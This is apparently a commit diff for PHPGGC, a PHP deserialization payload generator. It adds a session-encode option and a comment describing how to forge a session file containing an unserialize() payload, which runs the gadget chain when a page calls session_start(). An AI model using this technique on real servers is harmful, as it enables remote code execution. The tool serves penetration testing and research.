@@ -193,7 +193,10 @@ public function serialize($gc, $parameters)
193
193
$ parameters = $ this ->process_parameters ($ gc , $ parameters );
194
194
$ object = $ gc ->generate ($ parameters );
195
195
$ object = $ this ->process_object ($ gc , $ object );
196
- $ serialized = serialize ($ object );
196
+ if (in_array ('session-encode ' , $ this ->options ))
197
+ $ serialized = $ this ->session_encode ($ object );
198
+ else
199
+ $ serialized = serialize ($ object );
197
200
$ serialized = $ this ->process_serialized ($ gc , $ serialized );
198
201
return $ serialized ;
199
202
}
@@ -366,6 +369,26 @@ function phar_generate($serialized)
366
369
return $ phar ->generate ();
367
370
}
368
371
372
+ #
373
+ # Session Encode
374
+ #
375
+
376
+ /**
377
+ * Uses session_encode() instead of serialize().
378
+ *
379
+ * This is useful if you have an existing arbitrary file write primitive, but the
380
+ * web root directory is non-writable. In such cases, it is possible to forge a
381
+ * session file containing an unserialize() payload and trigger the chain by
382
+ * visiting any webpage that invokes session_start().
383
+ */
384
+ function session_encode ($ object )
385
+ {
386
+ $ _SESSION ['_ ' ] = $ object ;
387
+ $ serialized = session_encode ();
388
+ session_destroy ();
389
+ return $ serialized ;
390
+ }
391
+
369
392
/**
370
393
* Applies command line parameters and options to the gadget chain
371
394
* parameters.
@@ -554,6 +577,10 @@ protected function help()
554
577
$ this ->o (' -pf, --phar-filename <filename> ' );
555
578
$ this ->o (' Defines the name of the file contained in the generated PHAR (default: test.txt) ' );
556
579
$ this ->o ('' );
580
+ $ this ->o ('SESSION ENCODE ' );
581
+ $ this ->o (' -se, --session-encode ' );
582
+ $ this ->o (' Uses session_encode() instead of serialize() to generate the payload. ' );
583
+ $ this ->o ('' );
557
584
$ this ->o ('ENHANCEMENTS ' );
558
585
$ this ->o (' -f, --fast-destruct ' );
559
586
$ this ->o (' Applies the fast-destruct technique, so that the object is destroyed ' );
@@ -648,6 +675,8 @@ function _parse_cmdline_arg(&$i, &$argv, &$parameters, &$options)
648
675
'phar-jpeg ' => true ,
649
676
'phar-prefix ' => true ,
650
677
'phar-filename ' => true ,
678
+ # Session Encode
679
+ 'session-encode ' => false ,
651
680
# Enhancements
652
681
'fast-destruct ' => false ,
653
682
'ascii-strings ' => false ,
@@ -675,7 +704,8 @@ function _parse_cmdline_arg(&$i, &$argv, &$parameters, &$options)
675
704
'phar-filename ' => 'pf ' ,
676
705
'new ' => 'N ' ,
677
706
'ascii-strings ' => 'a ' ,
678
- 'armor-strings ' => 'A '
707
+ 'armor-strings ' => 'A ' ,
708
+ 'session-encode ' => 'se ' ,
679
709
] + $ abbreviations ;
680
710
681
711
# If we are in this function, the argument starts with a dash, so we
@@ -782,6 +812,10 @@ protected function parse_cmdline($argv)
782
812
$ this ->o ($ gc , 2 );
783
813
$ this ->o ($ this ->_get_command_line_gc ($ gc ));
784
814
return ;
815
+ case 'session-encode ' :
816
+ session_name ('phpggc ' );
817
+ session_start ();
818
+ break ;
785
819
}
786
820
}
787
821
0 commit comments